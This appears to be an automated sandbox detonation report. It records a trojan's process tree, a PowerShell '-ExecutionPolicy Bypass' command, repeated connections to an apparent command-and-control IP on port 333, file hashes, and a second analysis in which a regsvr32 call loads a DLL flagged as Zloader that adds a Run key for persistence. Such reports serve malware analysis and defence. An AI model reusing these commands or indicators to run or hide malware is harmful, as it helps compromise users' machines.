PID 4528 wrote to memory of 3344	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
PID 3344 wrote to memory of 4464	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 3344 wrote to memory of 4464	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 4528 wrote to memory of 3452	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
PID 4528 wrote to memory of 3452	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
PID 3452 wrote to memory of 2720	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 3452 wrote to memory of 2720	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 4528 wrote to memory of 3160	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
PID 4528 wrote to memory of 3160	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
PID 3160 wrote to memory of 1588	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 3160 wrote to memory of 1588	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 4528 wrote to memory of 1392	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
PID 4528 wrote to memory of 1392	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
PID 1392 wrote to memory of 4916	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 1392 wrote to memory of 4916	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 4528 wrote to memory of 1000	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
PID 4528 wrote to memory of 1000	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
PID 1000 wrote to memory of 1020	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 1000 wrote to memory of 1020	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe

Processes

C:\Users\Admin\AppData\Local\Temp\905d572f23883f5f161f920e53473989cf7dffc16643aa759f77842e54add550.exe

"C:\Users\Admin\AppData\Local\Temp\905d572f23883f5f161f920e53473989cf7dffc16643aa759f77842e54add550.exe"

C:\Windows\system32\MSSCS.exe

"C:\Windows\system32\MSSCS.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -ExecutionPolicy Bypass -Command [System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); [System.Windows.Forms.MessageBox]::Show('Isto abriu lol','Rekt!',0,64)

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe

"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\5lhy63kv.cmdline"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8C6C.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcDD0AC3CF52824EA6A69A57B65EDB860.TMP"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe

"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\5id7prmc.cmdline"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8D47.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc1591CB8E120B4839A8462FF928641E9E.TMP"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe

"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\5orgezsc.cmdline"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8DC4.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc68C954C817F24831A6464E6864564237.TMP"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe

"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\z45nmev3.cmdline"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8E31.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc5E2DB887BF2842F59AB8C3B8CC8FC54.TMP"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe

"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\wrtmzjhd.cmdline"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8EAE.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc61EB9A67603149B7913587E8E6C646C2.TMP"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe

"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\l2g59ud1.cmdline"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8F5A.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcD1A4D61CDA4D4D7C83BFE465A5776517.TMP"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe

"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\h9wtbtfm.cmdline"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8FA8.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc1EE8BEAE38B84A07982C668802DF343.TMP"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe

"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\hvyebafr.cmdline"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9006.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcD7C3B761FF3D4844B81629B576825455.TMP"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe

"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\sqfaummk.cmdline"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9064.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc76287FC195034341A44CD55C546972E1.TMP"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe

"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\9wezdeuj.cmdline"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES90C2.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc1651FBB8C8B94ADBBAD753F7988330D2.TMP"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	196.249.167.52.in-addr.arpa	udp
US	8.8.8.8:53	240.221.184.93.in-addr.arpa	udp
US	8.8.8.8:53	g.bing.com	udp
US	204.79.197.237:443	g.bing.com	tcp
US	8.8.8.8:53	20.160.190.20.in-addr.arpa	udp
BE	88.221.83.226:443	www.bing.com	tcp
PT	84.91.119.105:333		tcp
US	8.8.8.8:53	57.169.31.20.in-addr.arpa	udp
US	8.8.8.8:53	226.83.221.88.in-addr.arpa	udp
US	8.8.8.8:53	13.86.106.20.in-addr.arpa	udp
PT	84.91.119.105:333		tcp
US	8.8.8.8:53	183.59.114.20.in-addr.arpa	udp
US	8.8.8.8:53	171.39.242.20.in-addr.arpa	udp
US	8.8.8.8:53	0.204.248.87.in-addr.arpa	udp
PT	84.91.119.105:333		tcp
US	8.8.8.8:53	82.90.14.23.in-addr.arpa	udp
PT	84.91.119.105:333		tcp
US	8.8.8.8:53	31.243.111.52.in-addr.arpa	udp
PT	84.91.119.105:333		tcp
US	8.8.8.8:53	88.156.103.20.in-addr.arpa	udp
US	8.8.8.8:53	tse1.mm.bing.net	udp
US	150.171.27.10:443	tse1.mm.bing.net	tcp
US	150.171.27.10:443	tse1.mm.bing.net	tcp
US	8.8.8.8:53	10.27.171.150.in-addr.arpa	udp
PT	84.91.119.105:333		tcp
PT	84.91.119.105:333		tcp

Files

memory/1996-0-0x00007FFA9C9D5000-0x00007FFA9C9D6000-memory.dmp

memory/1996-1-0x000000001BBF0000-0x000000001C0BE000-memory.dmp

memory/1996-2-0x000000001C170000-0x000000001C216000-memory.dmp

memory/1996-3-0x00007FFA9C720000-0x00007FFA9D0C1000-memory.dmp

memory/1996-4-0x000000001C2E0000-0x000000001C342000-memory.dmp

memory/1996-5-0x00007FFA9C720000-0x00007FFA9D0C1000-memory.dmp

memory/1996-6-0x000000001CC40000-0x000000001CCDC000-memory.dmp

memory/1996-7-0x00007FFA9C9D5000-0x00007FFA9C9D6000-memory.dmp

memory/1996-8-0x00007FFA9C720000-0x00007FFA9D0C1000-memory.dmp

C:\Windows\System32\MSSCS.exe

MD5	6fe3fb85216045fdf8186429c27458a7
SHA1	ef2c68d0b3edf3def5d90f1525fe87c2142e5710
SHA256	905d572f23883f5f161f920e53473989cf7dffc16643aa759f77842e54add550
SHA512	d2180f2d7ca35362a2dc322801fb0eee22820f2ac317c0be4c788c31d3939d30c9b356bf8daf0746545fb66092471f46f5d47c40403ed68b09415fcca90a125c

memory/4528-18-0x00007FFA9C720000-0x00007FFA9D0C1000-memory.dmp

memory/1996-19-0x00007FFA9C720000-0x00007FFA9D0C1000-memory.dmp

memory/4528-20-0x00007FFA9C720000-0x00007FFA9D0C1000-memory.dmp

memory/4528-21-0x00007FFA9C720000-0x00007FFA9D0C1000-memory.dmp

memory/4528-22-0x00007FFA9C720000-0x00007FFA9D0C1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1gv3irae.laa.ps1

MD5	d17fe0a3f47be24a6453e9ef58c94641
SHA1	6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256	96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512	5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/5076-36-0x000001EF73FA0000-0x000001EF73FC2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\5lhy63kv.cmdline

MD5	d8d2ae44dfffd4111d2429f63825a0b4
SHA1	973fc0f180d63d8de0aec69ce3967093b6631aa9
SHA256	5a8666d3f30682f3e44fc8f3d26940e82790d7cc958664650cf5013c483e4450
SHA512	73d3fdcbd9ff77df2f63971c2e8570c736fbae528b7669fc30be281d003d3893ded4e68b5c22fa11115ae209d13b2ec1f9aacd4d53112c7c86c7476452116b2a

C:\Users\Admin\AppData\Local\Temp\5lhy63kv.0.vb

MD5	076803692ac8c38d8ee02672a9d49778
SHA1	45d2287f33f3358661c3d6a884d2a526fc6a0a46
SHA256	5b3ab23bcadaeb54a41bdb1636bcaf7772af028d375f42baeb967de6579ef2a3
SHA512	cc9126384a287ccb99d10d5c2d3034cdbc8a45e94f1cec48dd95f2aa08ebbe3053ffd6d6effa31f2d84164edbb6136398cd02c08b05f027a6a777dffd1daea5d

C:\Users\Admin\AppData\Local\Temp\vbcDD0AC3CF52824EA6A69A57B65EDB860.TMP

MD5	dac60af34e6b37e2ce48ac2551aee4e7
SHA1	968c21d77c1f80b3e962d928c35893dbc8f12c09
SHA256	2edc4ef99552bd0fbc52d0792de6aaa85527621f5c56d0340d9a2963cbc9eed6
SHA512	1f1badd87be7c366221eaa184ae9b9ae0593a793f37e3c1ce2d4669c83f06de470053550890ad6781b323b201a8b9d45a5e2df5b88e01c460df45278e1228084

C:\Users\Admin\AppData\Local\Temp\RES8C6C.tmp

MD5	1a6b8f45eee36c911f66fbf3462c5a34
SHA1	93ce099c1348f772c0b162e9dde260db331d46c1
SHA256	6c6235172b98d682ce5cce47220d4e5b201ce26bfb1b2e0015e03913bfdb4408
SHA512	b8c038d9b542df2923ea2f5ddc3fb3c9d4807f8e88da0a480fd83048cd5e1f50e87a087e6effc1dfed0759eb14b44e2cccfb5617894cb95ce15b74cd669d8473

C:\Users\Admin\AppData\Local\Temp\5id7prmc.cmdline

MD5	40f605827af8124cf7ee12051babc3d8
SHA1	1d60f96588ce63abb093e787a9055cc8ac5f213e
SHA256	d97e1be46c93478dda70cbce00e1aa78ea90b787656aeafc4ec2c02d288c1616
SHA512	f9205e5feae3cc29642de13ce1ca6cf21299e0d641ad43e2b86c5b2a38c7025486f6ef5e91b45e64b3584bf58430ebf198acc77708135e926f2efa66384a1714

C:\Users\Admin\AppData\Local\Temp\5id7prmc.0.vb

MD5	88cc385da858aaa7057b54eaeb0df718
SHA1	b108224d4686b5ca3faaeb1c728dfba8740a6eca
SHA256	08a30db98d970e3b6819d5ecff6eab2211ce93f4cd000c09db96ffb294d05020
SHA512	4787835240c3e2364172ac2e7649ec8fecb907c7006c38734e59aa65509f360b4596d5db8de20e0c7388a022e1c2f4f9ba75acabba798bea1d40f688539b7df7

C:\Users\Admin\AppData\Local\Temp\vbc1591CB8E120B4839A8462FF928641E9E.TMP

MD5	3906bddee0286f09007add3cffcaa5d5
SHA1	0e7ec4da19db060ab3c90b19070d39699561aae2
SHA256	0deb26dcfb2f74e666344c39bd16544fcaae1a950be704b1fd4e146e77b12c00
SHA512	0a73de0e70211323d9a8469ec60042a6892426e30ad798a39864ba123c1905d6e22cb8458a446e2f45ec19cf0233fa18d90e5f87ec987b657a35e35a49fea3b0

C:\Users\Admin\AppData\Local\Temp\RES8D47.tmp

MD5	d51bb133a04f65a197d7dfb749f6daa7
SHA1	e6dfb6e6da8d238338d4377cb6de11474e79a9a6
SHA256	ead0274e8a8195020a4b6915ddb36235fd188acc9f1f06276dd206b2af5f9190
SHA512	02b7f79e7689cd0c19f013958d52bfd745728931f2091ff5a22c6832843a17af3a9c080def3a4b214843ef02e272b73c6f18246650d8cb67f939a0c9d37ff269

C:\Users\Admin\AppData\Local\Temp\5orgezsc.cmdline

MD5	be9b6e153b42029e3a3db36ae7aef8a7
SHA1	1bef783463b742fe11c858f22a662dd3b70ee165
SHA256	64efd7bc816f038d8c0453214a326e7474dd10b4dc68336e34c6f44f0eac587e
SHA512	1e6f8e7df7053de4fb48de9a455d53afa22c1c5884993e0d5f24ff3b53013612db6dedef326c3efb66e6504090f5f469ffcb752f423dab3231beef01c1e5d0d4

C:\Users\Admin\AppData\Local\Temp\5orgezsc.0.vb

MD5	d1110a95f1e40f726584bd99eca52fe7
SHA1	97fac683e1116ab31a9cc9c3dcfd9fe9e53505c3
SHA256	00f373eb310beace70146b6e0fd188aa2f437efb2e5a2714a11d4d58e27d3142
SHA512	f15b5b310ace82a0106b551d71ad3d48e1c75085aa78b8bb3374a2334ceb073bd4d1bf4cd0b4e39034c39f01b6bcd76e8be30198e4872f5641a7d29b255154b4

C:\Users\Admin\AppData\Local\Temp\vbc68C954C817F24831A6464E6864564237.TMP

MD5	85c61c03055878407f9433e0cc278eb7
SHA1	15a60f1519aefb81cb63c5993400dd7d31b1202f
SHA256	f0c9936a6fa84969548f9ffb4185b7380ceef7e8b17a3e7520e4acd1e369234b
SHA512	7099b06ac453208b8d7692882a76baceec3749d5e19abc1287783691a10c739210f6bdc3ee60592de8402ca0b9a864eb6613f77914b76aec1fc35157d0741756

C:\Users\Admin\AppData\Local\Temp\RES8DC4.tmp

MD5	6d6e35c82366157317bfe2df31424c8a
SHA1	918ec14745f0ff3215ff3b3a21076aa9bc05afaa
SHA256	ab96b5956d8bf10573c394140a3feb487fdd6f608221b68109419a18c5d7229c
SHA512	f93bbd64365c486dee1ae7764d19ced0ac0191924c4cd262ef170ffc6bd557bff25122795ea7bf5c9860fe716affa1ad903148c44d3c6206ffdee89c855d1e48

C:\Users\Admin\AppData\Local\Temp\z45nmev3.cmdline

MD5	702f8cc863292278ed3c6cd0c8565b4c
SHA1	42fedbcf50b49a0ae9aa3bf825268a7e88b9c037
SHA256	91440a5a679a114a59838355891552fd67bef03aa126929689931d493e629077
SHA512	6d31e63b07bc3385d0338f0be553b4a03dd5668aeac17ccc96b41d9e4b36b11b0b2b794797f908b6368ad96f7337705a69ec80ae89180cd7dc12f875c3d2a6ab

C:\Users\Admin\AppData\Local\Temp\z45nmev3.0.vb

MD5	ac972015bef75b540eb33503d6e28cc2
SHA1	5c1d09fcf4c719711532dcfd0544dfc6f2b90260
SHA256	fa445cc76cde3461a5f1f1281fefcb0c7db69b2685f8a67a06a0f33a067e74e7
SHA512	36b2e1f7b7a6f2c60788f88d95bfdc53b7d261c203eb637a36fbd07d81bc46edc87e528f1987df73963cb75ca2f19c3a4b3df9ade52d5768ecec23753099cc83

C:\Users\Admin\AppData\Local\Temp\RES8E31.tmp

MD5	a1829fde1e5ac7b24a888a615c5783c0
SHA1	af5a350d71be66b3cbdc6523b47dbb9f26024e18
SHA256	f6a65247b4da05067eed9cdac672816ca7359295882fbdc02ddde23a9ab9d955
SHA512	d13c30fdc32feb3c73ab143e72802ea20ac932ef62679fca6d52f954118e13aeb9eb8c401b5958f56f25e6818769baa30a5f568cc09746c4345c78aa51dd01c4

C:\Users\Admin\AppData\Local\Temp\wrtmzjhd.cmdline

MD5	4b600c1587989dfd9e1e780e9abab99a
SHA1	5a2adffe55a7f30c438b4b2a456046a3656fb3e0
SHA256	bb58081fb5fa05ce612a30a9e49f1599aa94c316b22df56089d948992fe2882b
SHA512	bf027620b6641eb6d03e15470b91e55567089a45426190c98ee321f5cf611ca464cd44a87a5257f4fcebff8a872f4903b8a64c6f3e3228b4f8794cd45d3b8956

C:\Users\Admin\AppData\Local\Temp\wrtmzjhd.0.vb

MD5	2b3aac520562a93ebef6a5905d4765c9
SHA1	10ab45c5d73934b16fac5e30bf22f17d3e0810c8
SHA256	b9f0edf067faaaa7da2d47e3d22b957cd302eb25e01e08ea79c664868f328f89
SHA512	9514934ed12d93ea3ad4e6873cf294bafa114bc7a784a93b14dd2410d07fae3a2c00308035a5c129c57e283de8b94ed36fd9f9de35b08eb79a82a0c732e50446

C:\Users\Admin\AppData\Local\Temp\RES8EAE.tmp

MD5	0d2b50fc4ab14a510a2d8c948c7f040b
SHA1	96c851104b00bdf76a9f1c071a6d38f93f6b411b
SHA256	6c6057fd0899f9f9978908b96a97d0b089315ebc5679d23259df8b980188bf0c
SHA512	01f3bc2279a04c935fcdeadc72f8103b133719f8b7263d6d6d7551ba1052d53e7eaad07ab76afa069a171b8684bb61b2f7c006e8b38d1df8547814e1205596c5

C:\Users\Admin\AppData\Local\Temp\l2g59ud1.cmdline

MD5	0400a809c2d02aadbe0372435a7ecda2
SHA1	82da05645aaa7c2c2d80a3c649b1fc9dcbbaca20
SHA256	fc7e48f83d59a9740565d79a5c102a3d96f689ddb008d80c5217b040ae3c6f41
SHA512	35efef77e514540796d135e3c914300694300391852825a278e6653b2242dee65c38aaa376c000509ac2a972aa01cfe2411b5d3ea6ae820aa1ae15261e5f2cf3

C:\Users\Admin\AppData\Local\Temp\l2g59ud1.0.vb

MD5	325f27ef75bebe8b3f80680add1943d3
SHA1	1c48e211258f8887946afb063e9315b7609b4ee3
SHA256	034c75813491d628a1a740b45888fc0c301b915456aaa7ba6433b4f1368cda35
SHA512	e2165b425558872897990953c26e48776f45751a53da035f1ad86ac062ec23a2923b984d84f992de5c0170f6e192feb155ffff25f51bc76ab273b996daacb804

C:\Users\Admin\AppData\Local\Temp\RES8F5A.tmp

MD5	1aa92a8952a45a0f828529d9baafc807
SHA1	2c8525fd6ff4d432e1d58c5d0e7799c5c0a7fd11
SHA256	c3b4903391786184a30508b3eb0ce886c759360bbc885b25caff9a394934f216
SHA512	5ef29378009f4d89bb61434353f9ee70c0e44884411b97eb77765c9ed1d41baff680fcf9e2ff65c28a1c7b96d405d18aea70ba7d227598fc22efc6458c82511d

C:\Users\Admin\AppData\Local\Temp\h9wtbtfm.cmdline

MD5	5c1f94510b657530f1218babfed30293
SHA1	4df18597111aade2a69ee177228c98df2042f79d
SHA256	e38461f76759eaccb22f11f97b34eaeeeb3768a6066ba78d3e976eecf0b4c10a
SHA512	5b124e2f8fc1a1b398779e9d1f453dbade58a97fe416360a8ed10bd349a982c6ceb5863acbbf6383eb52bafc549ad2bed639d76a7aac3cb4bba4c349d6c24bc7

C:\Users\Admin\AppData\Local\Temp\h9wtbtfm.0.vb

MD5	539683c4ca4ee4dc46b412c5651f20f5
SHA1	564f25837ce382f1534b088cf2ca1b8c4b078aed
SHA256	ec2210924d5c1af6377ef4bdf76d6ca773aaa1ae0438b0850f44d8c4e16ef92e
SHA512	df7c1a55e53f9b9bf23d27762d2d1163c78808e9b4d95e98c84c55ca4ecb7009ed58574ae6ddede31459f300483a1dc42987295a04f6c8702f297d3f1942f4ac

C:\Users\Admin\AppData\Local\Temp\vbc1EE8BEAE38B84A07982C668802DF343.TMP

MD5	8135713eeb0cf1521c80ad8f3e7aad22
SHA1	1628969dc6256816b2ab9b1c0163fcff0971c154
SHA256	e14dd88df69dc98be5bedcbc8c43d1e7260b4492899fec24d964000a3b096c7a
SHA512	a0b7210095767b437a668a6b0bcedf42268e80b9184b9910ed67d665fba9f714d06c06bff7b3da63846791d606807d13311946505776a1b891b39058cfb41bd4

C:\Users\Admin\AppData\Local\Temp\RES8FA8.tmp

MD5	3532089e159a8d57d26a0147847786e7
SHA1	3df25b44311fd593daa8524ecf4d2fab0c0687f7
SHA256	51a143c12345777133bd1177cbbe92306c17cd3d57dce175001d097763472b3a
SHA512	97144b82e69efdd5cac8d64bed92daaf129872d5e7104afa13e0d48bb7b51ccb6521ee692283e4c005a6060a8b5623e160d88d059bb838b8dbc7c1f142396578

C:\Users\Admin\AppData\Local\Temp\hvyebafr.cmdline

MD5	76da4c216132de6ceeae4a630dc41752
SHA1	6241b816ead8068e6d8969212d4b63efd46ace25
SHA256	18cba14f083ed11eef8c0be1ad73a12d21a2554726d6d1101eb02d4d1c206990
SHA512	b0a394c54ef4ce2306a183d00d7c90e176d1b3fdeb47539d42652a16251d199237a6bfffc7925161d4c2cf654cfd529ef9443520cc6c3f0c92a763b0e85af402

C:\Users\Admin\AppData\Local\Temp\hvyebafr.0.vb

MD5	5ce3977a153152978fa71f8aa96909e9
SHA1	52af143c553c92afc257f0e0d556908eaa8919cb
SHA256	e07a7bd0c2901d3a349ab55e936b34de2d0abb5f2dc555cc128773b8045d3eed
SHA512	eaee02ceade0211be70a4710b28fdf043d5c540928e2095ead924a44c2edfca8fc6499395d1b7f5deee96394fb5309362fb87e45ee195094ec39d5fa11909d77

C:\Users\Admin\AppData\Local\Temp\RES9006.tmp

MD5	64a57b9ae13ade9c9b501bbe2c75aac2
SHA1	2c6a1128f2ffd1dba792b2a37323ccf6b5b6b24f
SHA256	c5e95d73804a2fc8c60effeef61b6af435ec791fccbb5c7ee7dfdeace88e5b26
SHA512	3562b6425cbe55e5e6f99446e9dca4973f77bf27a4e205a7e4148e2c084109fa87aa5a9c16489dee311ea0cf7bc3d60f7661f583912e9c82c5cc8f042b9a718a

C:\Users\Admin\AppData\Local\Temp\sqfaummk.cmdline

MD5	1a44d7a824a26da8da831c1dab9aeee1
SHA1	e4970d2b5985f9334bf847360788ad258bfde6ec
SHA256	b63be078e570cf5494183eb76391b4b08233ff275cfda1b9a72e8b9ad4b78f1e
SHA512	b30645e6fc765d5954b5c7948af60e4cec574a37102eb2ccd97756ec9fa6f201c29ebb0a8d8974ee5af7ea693b54f0cebad1ca6d7ec38f4e2e1f1758e0fb79ba

C:\Users\Admin\AppData\Local\Temp\sqfaummk.0.vb

MD5	658573fde2bebc77c740da7ddaa4634b
SHA1	073da76c50b4033fcfdfb37ba6176afd77b0ea55
SHA256	c07206283d62100d426ba62a81e97bd433966f8b52b5a8dd1451e29a804a1607
SHA512	f93c7f4378be5eca51161d1541d772a34c07884c9d829608c6fa21563df5691920394afe9da1174ad5c13f773a588b186d1d38a9d375a28562eb58ca4a8b8fbf

C:\Users\Admin\AppData\Local\Temp\RES9064.tmp

MD5	4b548bfee2d7418b0a1aa4af17047d7a
SHA1	b21748829dc7ce482f94e199ce8b2e96a560171d
SHA256	b6e03f2ea4edc482bf874d2a89f65cec4ad81015a5ffa34d92b06f02ed62bf8a
SHA512	88bd23168e51c68ea7e352fa764b2c43f784245cb653bfcb10cdafcf7fc431f7f65108d14ed1687f0a2b7281f4e0d426a75f938b70ed3476b716d5bec897dc0d

C:\Users\Admin\AppData\Local\Temp\9wezdeuj.cmdline

MD5	36215c4252f502517df7b6bd27de2138
SHA1	375517664b7d30b5f39ce4b1a1f3c7f93280a00e
SHA256	f980af0624c715af02ee40312c9de7a2f1e480d76480700dad0563012785df6e
SHA512	cff9c34b4784f26630aff142930f45d2387a7a32bbd5912eb06cb504a2109f75fe8c5a09f526bda0fe0c1869cb9f19aaa5f824492237cb8753722aea56324fd5

C:\Users\Admin\AppData\Local\Temp\9wezdeuj.0.vb

MD5	3c3d3136aa9f1b87290839a1d26ad07a
SHA1	005a23a138be5d7a98bdd4a6cc7fab8bdca962f4
SHA256	5b745f85a39312bfa585edbd7e3465371578b42fa639eded4cdad8c9f96b87fd
SHA512	fbb085ffcd77ac96c245067fd96a0c20492d55331161f292975b0c11386424a96534a500133217f84d44455e16139d01230455bce5db3d472271620c29381f60

C:\Users\Admin\AppData\Local\Temp\vbc1651FBB8C8B94ADBBAD753F7988330D2.TMP

MD5	7a707b422baa7ca0bc8883cbe68961e7
SHA1	addf3158670a318c3e8e6fdd6d560244b9e8860e
SHA256	453ad1da51152e3512760bbd206304bf48f9c880f63b6a0726009e2d1371c71c
SHA512	81147c1c4c5859249f4e25d754103f3843416e3d0610ac81ee2ef5e5f50622ea37f0c68eeb7fa404f8a1779dc52af02d2142874e39c212c66fa458e0d62926a9

C:\Users\Admin\AppData\Local\Temp\RES90C2.tmp

MD5	f8256b5824ed70c1d3ef8a966b0795d0
SHA1	62076998efb0f20485827b61a2fa64bee86746dc
SHA256	5ecef7ad41b4c5247f8204ca03a0a8928525cde24c85e98e26d4cf25d30b08c9
SHA512	e9f922c6b41faabac43dec8893b000b60f25c188552df31f2adc340fd9fd1e6fc249c2904677e0fde7d001274d7d86c50b0b7d2f3dffe7468c9cef7207551ffa

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-01 18:03

Reported

2024-07-01 18:15

Platform

win10v2004-20240508-en

Max time kernel

35s

Max time network

51s

Command Line

regsvr32 /s C:\Users\Admin\AppData\Local\Temp\08751be484e1572995ebb085df1c2c6372084d63a64dce7fab28130d79a6ea2d.dll

Signatures

Zloader, Terdot, DELoader, ZeusSphinx

trojan botnet zloader

Adds Run key to start application

persistence

Description	Indicator	Process	Target
